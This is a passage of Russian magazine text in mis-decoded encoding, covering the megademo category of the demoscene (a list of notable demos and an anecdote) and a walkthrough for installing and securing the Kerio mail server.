(ÏÐÎÃÐÀÌÌÍÎÅ ÎÁÅÑÏÅ×ÅÍÈÅ,
ÑÎÇÄÀÍÍÎÅ ÄÅÌÎÑÖÅÍÅÐÀÌÈ ÄËß
ÄÅÌÎÑÖÅÍÅÐÎÂ, Ñ ÏÎÌÎÙÜÞ
ÊÎÒÎÐÎÃÎ ÌÎÆÍÎ ÑÎÇÄÀÒÜ ÄÅÌÎ,
ÂÏÈÑÛÂÀÞÙÅÅÑß Â 64 ÊÁ) 

ÏÎËÓ×ÀÞÒÑß ÀÁÑÎËÞÒÍÎ
ÍÅÏÎÕÎÆÈÌÈ ÄÐÓÃ ÍÀ ÄÐÓÃÀ! 
ÒÀÊÎÃÎ ÏÎËÅÒÀ ÔÀÍÒÀÇÈÈ ÑÅÉ×ÀÑ
ÍÅ ÂÑÒÐÅÒÈØÜ ÄÀÆÅ Â ÌÅÃÀÄÅÌÎ�

Ïîñìîòðè íà ýòî ðàçíîîáðàçèå: 
1 From Dusk til Dawn by Fairlight (ftp://ftp.scene.org/

pub/parties/2004/remedy04/demo/fairlight__from_dust_
till_dawn.zip);

2 Zoom3 by AND Cybermag (http://www.pouet.net/
prod.php?which=10454);

3 Candytron (FR30) by Farbrausch (http://www.pou-
et.net/prod.php?which=9424);

4 Welcome to by Farbrausch (http://www.pou-
et.net/prod.php?which=8696);

5 Binary Flow by Conspiracy (http://www.conspira-
cy.hu/dl.php3?prod=13);

6 Beyond by Conspiracy (http://conspiracy.intro.hu/
releases/cns!bydf.zip).

Ìåãàäåìî � âåðøèíà àéñáåðãà. Çäåñü ïðîäå-
ìîíñòðèðîâàòü ñïîñîáíîñòè ìîãóò è ñòàðîæèëû äå-
ìîñöåíû, è íîâè÷êè. Ýòî î÷åíü óäîáíûé ôîðìàò äëÿ
íà÷èíàþùèõ äåìîñöåíåðîâ, òàê êàê íå íàäî çàìîðà-
÷èâàòüñÿ ñ îïòèìèçàöèåé ïî ðàçìåðó, íåò íåîáõîäè-
ìîñòè ìó÷èòü íè êîäåðà, íè ìîäåëëåðà, íè ìóçûêàí-
òà. Âñå äåëàþò, ÷òî õîòÿò è óìåþò äåëàòü. Ïðåäñòàâü
ñèòóàöèþ: òû âïåðâûå â æèçíè ðåøèë ñäåëàòü ÄÅ-
ÌÓ. Òû óìååøü, äîïóñòèì, êîäèòü. À òâîé äðóã, íàï-
ðèìåð, óìååò ðèñîâàòü ìûøêîé êðàêîçÿáðû â ôîòî-
øîïå. À íåêèé çíàêîìûé ïèøåò ìóçûêó â òðåêåðàõ è
ñ ïðåäîñòàâèò âàì ïàðó êîìïîçèöèé íà âûáîð. Ïå-
ðåä êîìàíäîé âñòàåò íåëåãêèé âûáîð: 

1  ÍÀÏÈÑÀÒÜ ÄÂÈÆÎÊ ÍÀ ×ÈÑÒÎÌ 
ÀÑÑÅÌÁËÅÐÅ, ÍÀÏÈÑÀÒÜ ÃÅÍÅÐÀÒÎÐ
ÒÅÊÑÒÓÐ, ÍÀÏÈÑÀÒÜ ÈÍÑÒÐÓÌÅÍÒ ÄËß
ÌÎÄÅËËÅÐÀ ( ÑÂÎÉ ÌÈÍÈ-3DÌÀÊÑ),
ÑÄÅËÀÒÜ ÇÂÓÊÎÂÎÉ ÑÈÍÒÅÇÀÒÎÐ
(ÊÈËÎÁÀÉÒ ÍÀ 20 ÌÀÊÑÈÌÓÌ),
ÇÀÑÒÀÂÈÒÜ ÌÓÇÛÊÀÍÒÀ ÏÅÐÅÏÈÑÀÒÜ
ÊÎÌÏÎÇÈÖÈÞ ÏÎÄ ÍÀØ ÑÈÍÒÅÇÀÒÎÐ
(ÂÑÅ ÏÅÐÅ×ÈÑËÅÍÍÎÅ � ÐÓ×ÊÀÌÈ),
ÓÏÐÎÑÈÒÜ ÕÓÄÎÆÍÈÊÀ ÇÀÁÈÒÜ
ÍÀ ÆÅËÀÍÈÅ ÍÀÐÈÑÎÂÀÒÜ ×ÒÎ-ËÈÁÎ,
ÈÇÓ×ÈÒÜ ÂÌÅÑÒÎ ÝÒÎÃÎ ÀÁÑÎËÞÒÍÎ
ÍÅÖÅÍÇÓÐÍÛÉ 3D-ÌÎÄÅËÈÐÓÞÙÈÉ
ÑÎÔÒ È ÇÀÄÈÇÀÉÍÈÒÜ ÌÈÍÈ-ÄÅÌÎ
Â ÆÓÒÊÎ ÎÃÐÀÍÈ×ÅÍÍÛÕ ÓÑËÎÂÈßÕ
ÄËß 64 ÊÁ ÊÎÍÊÓÐÑÀ.

2  ÏÐÎÑÒÎ ÄÅËÀÒÜ ÒÎ, ×ÒÎ ÍÐÀÂÈÒÑß,
ÍÅ ÎÃÐÀÍÈ×ÈÂÀß ÑÅÁß Â ÐÅÑÓÐÑÀÕ.
ÑÎÁÐÀÒÜÑß ÂÑÅÌ ÂÌÅÑÒÅ È ÑØÈÒÜ 
ÎÁÙÈÅ ÍÀÐÀÁÎÒÊÈ Â ÎÄÍÓ ÌÅÃÀÄÅÌÓ. 

Â ðåçóëüòàòå ïîëó÷àåòñÿ, ÷òî â ýòîì êëàññå
ïðîåêòû àáñîëþòíî íåïðèãëÿäíûå  ñîñåäñòâóþò
ñ íåâîîáðàçèìûìè øåäåâðàìè! Ïåðå÷èñëÿòü ëó÷-
øèå ìåãàäåìî î÷åíü ñëîæíî, òàê êàê êàæäûé íàé-
äåò ñâîþ èçþìèíêó è íàïðàâëåíèå â îáùåé ìàññå. 

Ìîãó ëèøü îòìåòèòü èç ðÿäà âîí âûõîäÿùèå
ìåãàäåìî ãðóïï Kewlers è MFX. Èõ òâîð÷åñòâî íå-
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âîçìîæíî ñïóòàòü íè ñ ÷åì (íåñìîòðÿ íà íàëè÷èå
êó÷è ïîäðàæàòåëåé).

Ñî÷åòàíèå àáñòðàêöèîíèçìà, ýêñïðåññèîíèç-
ìà, ñþððåàëèçìà è åùå ÷åãî-òî íåóëîâèìîãî äåëàþò
èõ ðàáîòû çàïîìèíàþùèìèñÿ è óíèêàëüíûìè. Â ÷åì
ñåêðåò? Íå çíàþ� Íî âûãëÿäèò ïðîñòî ïîòðÿñàþùå. 

1 Aether by MFX (ftp://ftp.scene.org/pub/parties/2005/
breakpoint05/demo/mfx_athr.zip)

2 Pornonoise by MFX (http://www.pouet.net/-
prod.php?which=9467)

3 Deepness in the Sky by MFX (ftp://ftp.scene.org/
pub/parties/2002/sota02/demo/mfx_dis.zip)

4 Variform by Kewlers (ftp://ftp.scene.org/pub/par-
ties/2002/assembly02/demo/variform_by_kewlers.zip)

5 Protozoa by Kewlers (ftp://ftp.scene.org/pub/par-
ties/2003/breakpoint03/demo/kwl_prtz.zip)

6 A Significant Deformation Near The Cranium by
Kewlers (ftp://ftp.scene.org/pub/parties/2003/assembly03/demo/
a_significant_deformation_near_the_cranium_by_kewlers.zip)

7 X-Mix 2004 by MFX Kewlers (http://www.pouet.net/
prod.php?which=12028)

Êàê îíè ýòî äåëàþò?! Ìîæåò áûòü, ïðîñòî ñîâ-
ìåñòèòü 2D è 3D? Áåðåì èäåþ, ðèñóåì ïîä íåå 3D-
ìîäåëüêè è 2D-ôîíû, êîìáèíèðóåì äâèæêîì â ñòèëü-
íóþ ïëàâíî ïåðåëèâàþùóþñÿ ñèìôîíèþ ñâîáîäíîé
ìûñëè è� Ïîëó÷àåì ÷òî-òî òèïà äåì Houjobb'îâ:

1  MicroStrange by Haujobb;
2  Elements by Haujobb;

3  We are by Haujobb (http://www.pouet.net/prod.
php?which=8281);

4  Strange Feelings by Haujobb.
Ýòî ÿ íàïèñàë íå ê òîìó, ÷òî Õàóäæîááû ëó÷-

øå âñåõ, à ê òîìó, ÷òî èõ êîìàíäà ñòàáèëüíî ñîçäà-
âàëà óíèêàëüíûå àòìîñôåðíûå ïðîèçâåäåíèÿ èç ãî-
äà â ãîä. Â ÷åì èõ ñåêðåò, ÿ òîæå íå çíàþ, íî ôàêò
îñòàåòñÿ ôàêòîì � ðåáÿòà ðàáîòàëè íå ùàäÿ ñâîå-
ãî âðåìåíè è ñèë, äîáèâàëèñü èìåííî òîãî ðåçóëü-
òàòà, êîòîðûé áûë çàäóìàí äèçàéíåðîì. À âñå ïî÷å-
ìó? Ïîòîìó ÷òî òàëàíòëèâûé íàðîä áûë? Äà! Íî
âåäü è ñåé÷àñ âñòðå÷àþòñÿ òàëàíòû? Òàê â ÷åì æå
äåëî? À äåëî â ïðàâèëüíîì ðàñïðåäåëåíèè çàäà÷
ìåæäó ÷ëåíàìè êîìàíäû è â íàëè÷èè ýòèõ ñàìûõ

÷ëåíîâ â äîñòàòî÷íîì êîëè÷åñòâå. Ïîñìîòðèì íà êî-
ëè÷åñòâî ìåìáåðîâ ó òåõ æå Haujobb  (>40), tAAt(>20),
ByteRapers(>30), TBL(>30), Razor 1911 (âîîáùå íå-
ìåðåííî). Ïàðà 2D-õóäîæíèêîâ, 2�3 3D-ìîäåëëåðà,
êîäåð íà 2D-ýôôåêòû, ïàðà êîäåðîâ íà 3D, ìóçû-
êàíòû íà âûáîð� Íåò ïðîáëåì! Íå íóæíî ðàçðû-
âàòüñÿ! Êàæäûé çàíèìàåòñÿ òåì, ÷òî åìó ïî äóøå.
Ïîýòîìó è äåìû ïîëó÷àþòñÿ äóøåâíûå.

À íà ñîâðåìåííûå êîìàíäû ãëÿíüòå! Àïî-
ãåé � AND. Ñàì ñåáå êîìàíäà :). 

Âîò è ïîëó÷àþòñÿ ó íèõ ïîäåëêè ëèáî ñ ìîùíûì
äâèæêîì è îãðàíè÷åííûì äèçàéíîì, ëèáî ñ èíòåðåñ-
íûì äèçàéíîì/èäåÿìè, íî íåâðàçóìèòåëüíûì èñïîë-
íåíèåì êîäà. Îòñþäà è âûêðèêè «Scene is dead».
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È âîîáùå, ïîä äåìîé ïîäðàçóìåâàþò êðåàòèâ.
Èííîâàöèîííûå ïîäõîäû ê äèçàéíó öâåòà è ôîðìû,
íåîáû÷íûå ìåòîäû âèçóàëèçàöèè, øîêèðóùèé âè-
äåîðÿä, óâëåêàòåëüíûé ñþæåò� ß ïîíèìàþ, ÷òî
ñëîæíî ïðèäåðæèâàòüñÿ ýòèõ ëèíèé, íî êðàéíå æå-
ëàòåëüíî î íèõ âñïîìèíàòü õîòü èíîãäà.

Òàêæå íå ñòîèò çàáûâàòü, ÷òî ÷àùå âñåãî
äåìêà ÿâëÿåòñÿ ïðîäóêòîì êîëëåêòèâíîãî òâîð÷å-
ñòâà. À ýòî çíà÷èò, ÷òî ôèíàëüíûé ðåëèç ÷àñòî ïî-
ëó÷àåòñÿ íåîæèäàííûì äëÿ áîëüøèíñòâà ÷ëåíîâ
êîìàíäû. Ïî÷åìó? Äà î÷åíü ïðîñòî! Êîäåð ïèøåò
òå ýôôåêòû, êîòîðûå åìó õî÷åòñÿ îïðîáîâàòü, õó-
äîæíèê ðèñóåò òî, ÷òî ó íåãî ëó÷øå âñåãî ïîëó÷àåò-
ñÿ, à ìóçûêàíò âîîáùå íå çàìîðà÷èâàåòñÿ è ïðîñ-
òî âûâàëèâàåò íà ñòîë êó÷ó òðýêîâ èç ïîãðåáà. Ðîëü

äèçàéíåðà â òàêîì ñëó÷àå èñïîëíÿåò êîëëåêòèâíûé
ðàçóì (îí æå � «ãåíåðàòîð áðåäà»). 

Äåìà äîëæíà áûòü åùå è ôëàãìàíîì IT-ïðîã-
ðåññà� Äåâèç «Âûäàâèòü ìàêñèìóì êðàñîòû èç æå-
ëåçà» ÿâëÿåòñÿ îñíîâîïîëàãàþùèì íà ïðîñòîðàõ
äåìîñöåíû. Þçåðû-çðèòåëè ïî âñåìó ìèðó ïîëó÷à-
þò âîçìîæíîñòü óáåäèòüñÿ â ìîùíîì ïîòåíöèàëå è
ïîëåçíîñòè ñâîèõ êîìïîâ äëÿ ìèðîâîãî èñêóññòâà,
ïðîíèêàþòñÿ ÷óâñòâàìè, èäåÿìè, ñòðåìëåíèÿìè� 

Îáðàòíàÿ ñòîðîíà ìåäàëè ïîãîíè çà «òåõíî-
ëîãè÷íîñòüþ» äåìêè � ñëàáåþùàÿ ñ êàæäûì ãîäîì
êðåàòèâíàÿ ñîñòàâëÿþùàÿ. Òåìà, èäåÿ, ñþæåò �
êîìó ýòî èíòåðåñíî, åñëè ìîæíî ðåíäèðèòü â ðèàë-
òàéìå áóáëèêè íà 500 òûñÿ÷ ïîëèãîíîâ êàæäûé, ñ
áàìïàìè, ïðåëîìëåíèÿìè, ðåàëüíûìè îòðàæåíèÿ-
ìè, íàòóðàëüíîé ôèçèêîé ñòîëêíîâåíèé, äà åùå è
íà ôîíå òðåõ ìèëëèîíîâ òðàâèíîê ñ áëèêàìè è ôëà-
ðèêàìè? Âñå è òàê áóäóò â âîñòîðãå� Îñîáåííî îá-
ëàäàòåëè âèäþõ çà $600, íà êîòîðûõ âñå ýòî «òâîð-
÷åñòâî» áóäåò âûäàâàòü 11fps. Ïðîãðåññ.

çàêëþ÷åíèå. ß äóìàþ, ÷òî â ðåçóëüòàòå âñå
áóäåò õîðîøî. Âîò íàèãðàþòñÿ êîäåðû íîâûìè GPU,
íàïèøóò óäîáíûå è ïîíÿòíûå òóëçû, è ÿâÿòñÿ èç òå-
íè íà ñâåò ìîëîäûå è òàëàíòëèâûå õóäîæíèêè-äè-
çàéíåðû. È áóäåò ïðàâèòü íîâûé äåâèç � «Ìàêñè-
ìóì êðåàòèâà, íîâèçíû, ÷óâñòâåííîñòè!». Íó à êîäå-
ðû áóäóò òîëüêî ïîääàêèâàòü, ðàñøèðÿòü âîçìîæ-
íîñòè òóëçîâ è ãîíÿòü çà ïèâîì� 
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Çâîíèò Xiod (êîäåð, ìóçûêàíò).
«Ïðèõîäèòå äåëàòü äåìó� À òî äåäëàéí íà Ìèë-
ëåííèóì Äåìîïàòè ïîñëåçàâòðà � íå óñïååì».

Íå õî÷åòñÿ, íî íàäî� Ëàäíî� Ïðèõîäèì
ñ Cr0ck'Îì (ìîùíûé êîäåð). Íàñòðîåíèå íèêàêîå.
Èäåé � íîëü. Êñèîä íà÷èíàåò ïîêàçûâàòü äâè-
æîê� Êðîêó èíòåðåñíî � îí ïðîãðàììåð. Íà ìîíè-
òîðå � ñîôòâàðíûé ðåíäåð â 512õ384. Æóòü. È ýòî
â 2001 ãîäó! Óñïîêàèâàåò òî, ÷òî íà ïàòè íàâåðíÿêà
áóäåò ïëîõî íàñòðîåííûé ïðîåêòîð íå ëó÷øåãî êà-
÷åñòâà, êîòîðûé áóäåò ðàáîòàòü çà õàðäâàðíûé àí-
òèàëüÿçèíã. Ëàäíî� Ìóçûêà. Õîðîøàÿ, êîíå÷íî,
íî íàñòðàèâàåò íà ñóèöèä: ÿ åãî äèñòîðøí íå ïåðå-
âàðèâàþ. Íà âûáîð ïðåäñòàâëåíî íåñêîëüêî òðý-
êîâ, íî îò ýòîãî íå ëåã÷å.

Ëàäíî� Ñöåíû. Âîò òóò âêëþ÷àåòñÿ «êîëëåê-
òèâíûé ðàçóì»! Êñèîä ïîêàçûâàåò, ÷òî óæå íàêîäèë.

Íà ýêðàíå êóáèê, âñå ãðàíè ïðåäñòàâëÿþò ñî-
áîé âåíòèëÿòîðû (ïî èäåå), è «ýòî» ëåòèò ïî íåáó. 

{Êñèîä} Âîò!
{Ëèíêñ} Áðåä.
{Êðîê} Ììì� Ôèãíÿ êàêàÿ-òî� À åñëè ëåòåòü âíóò-
ðè êóáèêà è ñìîòðåòü ÷åðåç âðàùàþùèåñÿ ëîïàñòè
âíèç?
{Êñèîä} Äà! Áóäåò êëåâî!
{Ëèíêñ} Áðåä.
{Êñèîä} #%@&**!
{Ëèíêñ} Íó è ëàäíî� (ðàññìàòðèâàþ æóðíàë ñ êàð-
òèíêàìè).
{Êñèîä} Ñäåëàé ëó÷øå!
{Êðîê} Íó, ìîæíî ñäåëàòü ÂîëóìËàéò ÷åðåç âðàùà-
þùèåñÿ ëîïàñòè�
{Ëèíêñ} Äóðêà.
{Êñèîä} %@#%*!!
{Ëèíêñ} (ãëÿäÿ â æóðíàë ñ êàðòèíêàìè): Ñòîóí-
õýíäæ ëó÷øå âàøåãî êóáèêà.
{Êñèîä} Ñäåëàé, $%@@ %»&#!!
{Ëèíêñ} Ëàíà�

Ñäåëàë... Ëåòàþùèé îñòðîâ ñî Ñòîóíõýíäæåì.
Ê ÷åìó ýòà ñöåíà, íèêòî íå çíàåò, íî îíà ëó÷øå êó-
áèêà, è ïîýòîìó «êîëëåêòèâíûé ðàçóì» åå îäîá-
ðèë. Èìåííî òàêèì îáðàçîì è ñîçäàåòñÿ ìíîãîçíà-
÷èòåëüíîñòü è ïñåâäîôèëîñîôèÿ â äåìå ;).

DEEPNESS IN THE SKY
by MFX 
AETHER
by MFX 
PORNONOISE
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ELEMENTS
by HaujobbX
ELEMENTS
by HaujobbX



Â íàñòîÿùåå âðåìÿ áåç ýëåêòðîííîé
ïî÷òû íå æèâåò, ïîæàëóé, íè îäíà
îðãàíèçàöèÿ. Ìû ñ òîáîé ïîäíÿëè
è íàñòðîèëè äîìåí, ïîäêëþ÷èëè
ïîëüçîâàòåëåé ê Ñåòè, è äëÿ ñ÷àñòüÿ
íàì íå õâàòàåò òîãî ñàìîãî äóøèñòî-
ãî ìûëà. Ïåðåä óñòàíîâêîé è íàñò-
ðîéêîé ïî÷òîâîãî ñåðâåðà íàì íåîá-
õîäèìî îáçàâåñòèñü äâóìÿ âåùàìè:
ðåàëüíûì IP-àäðåñîì è äîìåííûì
èìåíåì. Ðåàëüíûé àäðåñ ó òåáÿ åñòü,
à âîò ñ èìåíåì ìîæíî ïîñòóïèòü äâó-
ìÿ ñïîñîáàìè: ëèáî êóïèòü ó ïðîâàé-
äåðà/õîñòåðà, ëèáî áåçâîçìåçäíî, òî
åñòü äàðîì, âçÿòü ó áëèæàéøåãî ïðî-
âàéäåðà äîìåííîå èìÿ òðåòüåãî
óðîâíÿ. Ïðåäïîëîæèì, ÷òî ìû çàðå-
ãèñòðèðîâàëè ñâîå äîìåííîå èìÿ
xakdomain.org, àäðåñ ó íàñ åñòü. Ïðî-
âàéäåð ïðîïèøåò ó ñåáÿ â DNS-çîíå
çàïèñü MX, ãäå óêàæåò íàøå èìÿ è
àäðåñ. Â ïðèíöèïå, òû ìîæåøü ïîä-
íÿòü ñâîé DNS-ñåðâåð è íàïîëíèòü
åãî íåîáõîäèìûìè çàïèñÿìè, çàòåì
íàñòðîèòü òðàíñôåð çîíû íà ïðîâàé-
äåðà è ñàì îòâå÷àòü çà äîñòóïíîñòü
ñåðâåðà. Òåïåðü ïîäóìàåì, ãäå,
ñîáñòâåííî, ìû ïîìåñòèì íàø ïî÷òî-
âûé ñåðâåð. Ìîæíî âûíåñòè åãî çà
ïðåäåëû òâîåé ñåòè ïðÿìî â èíòåð-
íåò, óñòàíîâèòü íà ïî÷òîâèêå ôàéð-
âîë, àíòèâèðóñ è íàáëþäàòü çà íèì
îñîáî òùàòåëüíî. Íî òîãäà âñå òâîè
îáðàùåíèÿ ê íåìó � äðàãîöåííûé
òðàôèê. Ìîæíî óñòàíîâèòü åãî âî
âíóòðåííåé ñåòè: òîãäà ñêîðîñòü ðà-
áîòû êîðïîðàòèâíîé ïî÷òû áóäåò
î÷åíü âûñîêà, è íèêàêîãî ëèøíåãî
òðàôèêà! Íà ñåðâåðå ñòàâèøü äâå
ñåòåâûå êàðòû, îäíà ñìîòðèò â òâîþ
ñåòü, âòîðàÿ � â ìèð. Ñòàâèøü
ôàéðâîë, è âñå ãîòîâî.

Ëèðè÷åñêîå îòñòóïëåíèå çà-
êîí÷èì âûáîðîì ïðîäóêòà. Íå â öå-
ëÿõ ðåêëàìû, à ðàäè ïîçíàíèÿ èñòè-
íû ìû ðàññìîòðèì ïî÷òîâûé ñåðâåð

ôèðìû Kerio. Ïî ñòîèìîñòè ïðîäóêò
äîñòóïåí äàæå äëÿ íåáîëüøîé êîí-
òîðû. Íàïðèìåð, ïî÷òîâèê íà 30
ïåðñîí îáîéäåòñÿ ïðèìåðíî â 700
óáèòûõ åíîòîâ. Ïîïðîáîâàòü ïî÷òî-
âèê ìîæíî, ñêà÷àâ ñ ñåðâåðà òðèàëü-
íóþ âåðñèþ ïðîãðàììû �
www.kerio.com. Íà÷èíàåì óñòàíîâêó.
Ðàçðàáîò÷èêè ïîçàáîòèëèñü î íîñè-
òåëÿõ ðóññêîãî ÿçûêà, ÷òî íå ìîæåò
íå ðàäîâàòü. Æìåì «ÎÊ» è ëþáóåì-
ñÿ ìàòðîñîì ñ ôëàãîì (÷òî èìåë
â âèäó äèçàéíåð èíñòàëëÿøêè � îñ-
òàåòñÿ çàãàäêîé). «Äàëåå». ×èòàåì,
êàê ìíîãî óìååò âåðñèÿ 6.3 ïî÷òîâî-
ãî ñåðâåðà. «Äàëåå». Ïðèíèìàåì ëè-
öåíçèîííîå ñîãëàøåíèå. «Äàëåå».
Ïðèõîäèì ê âèäó óñòàíîâêè.

Îòìå÷àåì «Âûáîðî÷íóþ óñòà-
íîâêó», âûáèðàåì êàòàëîã äëÿ óñòà-
íîâêè ïðîãðàììû. Íàêîíåö äîáðà-
ëèñü äî ñàìîãî âûáîðà. Îòêëþ÷àåì
ñïðàâêó íà ÷åøñêîì ÿçûêå. «Äà-
ëåå». È, íàêîíåö, æìåì «Óñòàíî-
âèòü». Ïîêà ïðîãà óñòàíàâëèâàåòñÿ,
íàáðîñàé ñåáå ñïèñîê ïîëüçîâàòå-
ëåé è ïðèäóìàé ïàðîëè äëÿ ïîäêëþ-
÷åíèÿ ê ïî÷òîâèêó. Íà îïðåäåëåííîì
ýòàïå óñòàíîâêè âèçàðä ïðåäëîæèò
ââåñòè äîìåííîå èìÿ. Îñòàâëÿåì
âñå ïî óìîë÷àíèþ è èäåì äàëåå.

Çàâîäèì àäìèíñêóþ ó÷åòíóþ
çàïèñü è ïðèäóìûâàåì äëèííûé
ïàðîëü.

Òåïåðü ñëåäóåò âûáðàòü êàòà-
ëîã è äèñê, êóäà ïî÷òîâèê áóäåò
ñêëàäûâàòü âñþ ïî÷òó. Ïðèêèíü,
íà êàêîé ýëåêòðîííûé äîêóìåíòî-
îáîðîò ñïîñîáíà òâîÿ êîíòîðà. Åñ-
ëè ðàáîòíèêè ïîñòîÿííî îòñûëàþò
è ïðèíèìàþò ôàéëû è êîëè÷åñòâî
êëèåíòîâ äîñòàòî÷íî áîëüøîå,
òî äëÿ õðàíèëèùà èìååò ñìûñë çà-
âåñòè îòäåëüíûé äèñê, åñëè îáîðîò
ïèñåì ìàëåíüêèé � îñòàâëÿåì
âñå ïî óìîë÷àíèþ.

È, íàêîíåö, íàæèìàåì ïîñëåä-
íèé ðàç êíîïêó «Ãîòîâî». Ïåðåçàãðó-
æàåì ñåðâåð è â òðåå âèäèì êóñî÷åê
êðàñíî-áåëîãî ôëàãà, êîòîðûì ðàç-
ìàõèâàë ìàòðîñ ïðè óñòàíîâêå, �
ýòî è åñòü íàøà ïî÷òà. Çàïóñòèì åå.
Òàê êàê ó íàñ ñåðâåð ïðèêðûò ôàéð-
âîëîì ôèðìû Kerio, òî âûñêàêèâàåò
ïàíåëü àäìèíèñòðèðîâàíèÿ, â íåé
âûáèðàåì «ìåéë � ñåðâåð». Ïðè
ïåðâîì çàïóñêå íàì ïðåäëàãàåòñÿ
çàðåãèñòðèðîâàòü ïðîäóêò. Çàêðûâà-
åì îêíî. Âîò îíî � íàøå ìûëî.

Òåïåðü íà÷íåì íàñòðàèâàòü íà-
øå íîâîå õîçÿéñòâî. Çàõîäèì íà çàê-
ëàäêó «Ñëóæáû» è îñòàíàâëèâàåì
íåíóæíûå ñëóæáû. Âîïðîñ î íåîáõî-
äèìîñòè ðàáîòû ýòèõ ñëóæá òû, êîí-
÷åíî, ðåøàåøü ñàì, íî äëÿ ðàáîòû
ñòàíäàðòíîãî ïî÷òîâîãî ñåðâåðà èõ
ìîæíî è îñòàíîâèòü. Äëÿ íà÷àëà îòê-
ëþ÷àåì ïðîòîêîë IMAP. Âîò òåáå âû-
äåðæêà èç âèêèïåäèè: «IMAP (Internet
Message Access Protocol) � èíòåð-
íåò-ïðîòîêîë ïðèêëàäíîãî óðîâíÿ
äëÿ äîñòóïà ê ýëåêòðîííîé ïî÷òå.»

«IMAP ïðåäîñòàâëÿåò ïîëüçî-
âàòåëþ áîãàòûå âîçìîæíîñòè äëÿ

ðàáîòû ñ ïî÷òîâûìè ÿùèêàìè, íàõî-
äÿùèìèñÿ íà öåíòðàëüíîì ñåðâåðå.
Ïî÷òîâàÿ ïðîãðàììà, èñïîëüçóþùàÿ
ýòîò ïðîòîêîë, ïîëó÷àåò äîñòóï
ê õðàíèëèùó êîððåñïîíäåíöèè íà
ñåðâåðå òàê, êàê áóäòî ýòà êîððåñ-
ïîíäåíöèÿ ðàñïîëîæåíà íà êîìïüþ-
òåðå ïîëó÷àòåëÿ. Ýëåêòðîííûìè
ïèñüìàìè ìîæíî ìàíèïóëèðîâàòü
ñ êîìïüþòåðà ïîëüçîâàòåëÿ (êëèåí-
òà) áåç íåîáõîäèìîñòè ïîñòîÿííîé
ïåðåñûëêè ñ ñåðâåðà è îáðàòíî ôàé-
ëîâ ñ ïîëíûì ñîäåðæàíèåì ïèñåì».
Åñòåñòâåííî, çàîäíî ïðèñòðåëèâàåì
è «Çàùèùåííûé IMAP». Ïðîäîëæà-
åì èñïîëüçîâàòü âèêèïåäèþ:

«NNTP � îñíîâíîé è åäèí-
ñòâåííûé ïðîòîêîë, ïî êîòîðîìó
ïîëüçîâàòåëè ìîãóò ïîäêëþ÷àòüñÿ
ê news-ñåðâåðàì è ó÷àñòâîâàòü
â äèñêóññèÿõ. Ïî ñòðîåíèþ ýòîò ïðî-
òîêîë ñõîäåí ñ ïðîòîêîëàìè ïðèåìà
è ïåðåäà÷è ýëåêòðîííîé ïî÷òû.
News-ñåðâåð ïðåäñòàâëÿåò ñîáîé
ïîñòîÿííî ïîäêëþ÷åííûé ê ñåòè
êîìïüþòåð, íà êîòîðîì õðàíÿòñÿ ñî-
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ÄÀ ÇÄÐÀÂÑÒÂÓÅÒ ÌÛËÎ ÄÓØÈÑÒÎÅ! 
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îáùåíèÿ äèñêóññèè. Îñíîâíîå îòëè-
÷èå òåõíîëîãèè NNTP îò å-mail � îò-
ñûëàåìûå ñîîáùåíèÿ îáùåäîñòóï-
íû. Ñîîáùåíèÿ ñãðóïïèðîâàíû
ïî òåìàì îáñóæäåíèÿ. 

Âîçìîæíî îòîçâàòü ïîñëàííîå
ñîîáùåíèå. Ôàêòè÷åñêè, ðåøåíèÿ
òåõíîëîãèè NNTP î÷åíü ïîõîæè
íà âåá-ôîðóìû çà èñêëþ÷åíèåì òî-
ãî, ÷òî êîïèÿ áàçû äàííûõ ñîîáùå-
íèé õðàíèòñÿ íà êîìïüþòåðå ïîëüçî-
âàòåëÿ (èëè õîòÿ áû ñïèñîê òåì ñî-
îáùåíèé). Çà NNTP çàêðåïëåí TCP-
ïîðò 119. Ïðè ïîäêëþ÷åíèè ê NNTP-
ñåðâåðó ïî SSL (ò.í. NNTPS) èñïîëü-
çóåòñÿ ïîðò 563».

Íàì äëÿ ïîëó÷åíèÿ èíôîðìà-
öèè õâàòàåò è îáû÷íîãî èíòåðíåòà.
Îòêëþ÷àåì NNTP è «Çàùèùåííûé
NNTP». Ðàçáèðàåìñÿ åùå ñ îäíèì
ïðîòîêîëîì. Ýòî LDAP. Åñëè òû
íå ñîáèðàåøüñÿ èìïîðòèðîâàòü
ïîëüçîâàòåëåé èç Active Directory,
òî ïðîòîêîë ìîæíî îòêëþ÷èòü.
Âîò ÷òî ó íàñ îñòàëîñü:

Äëÿ íàñòðîéêè íåêîòîðûõ ïà-
ðàìåòðîâ íàì íåîáõîäèìî ñîçäàòü
ãðóïïó IP-àäðåñîâ íàøåé ñåòè. Çàõî-
äèì íà çàêëàäêó «Îïðåäåëåíèÿ»!
«Ãðóïïû IP-àäðåñîâ»! «Äîáàâèòü»,
äàäèì èìÿ íàøåé ãðóïïå «Lan»,
«Òèï» � âûáèðàåì çíà÷åíèå «Äèà-
ïàçîí àäðåñîâ», è â ïîëÿ «Îò»
è «Äî» ââîäèì íà÷àëüíîå è êîíå÷-
íîå çíà÷åíèÿ àäðåñîâ íàøåé ñåòè.

Çàïîìíè ïðîöåññ ñîçäàíèÿ
ãðóïï IP-àäðåñîâ, � îí íàì åùå ïðè-
ãîäèòñÿ. Òåïåðü íàñòðîèì ïàðàìåòðû
íàøåãî «Ñåðâåðà SMTP». Çàõîäèì
â çàêëàäêó «Êîíôèãóðàöèÿ»! «Ñåð-
âåð SMTP». Íà ïåðâîé æå çàêëàäêå
«Óïðàâëåíèå ðåòðàíñëÿöèåé» îòìå-
÷àåì ãàëî÷êîé «Ïîëüçîâàòåëè
èç ãðóïïû IP-àäðåñîâ» è âûáèðàåì
ñîçäàííóþ íàìè ãðóïïó IP-àäðåñîâ
«LAN». Òàêèì îáðàçîì, ìû ðàçðåøà-
åì ñâîèì ïîëüçîâàòåëÿì ïåðåñûëàòü
÷óæèå ïèñüìà, íî íå ïîçâîëÿåì èñ-
ïîëüçîâàòü íàø ïî÷òîâûé ñåðâåð
äëÿ ðàññûëêè ñïàìà. 

Ïåðåõîäèì â çàêëàäêó «Ïàðà-
ìåòðû áåçîïàñíîñòè». Îòìå÷àåì ãà-
ëî÷êîé «Ìàêñ. ÷èñëî íåèçâåñòíûõ ïî-
ëó÷àòåëåé�», «Íå ïðèìåíÿòü ýòè îã-
ðàíè÷åíèÿ äëÿ ãðóïïû IP-àäðåñîâ» �
âûáèðàåì «LAN». Íå çàáûâàåì ïîñ-
ëå êàæäîãî èçìåíåíèÿ íàæèìàòü
êíîïêó «Ïðèìåíèòü». Íó è îãðàíè÷èì
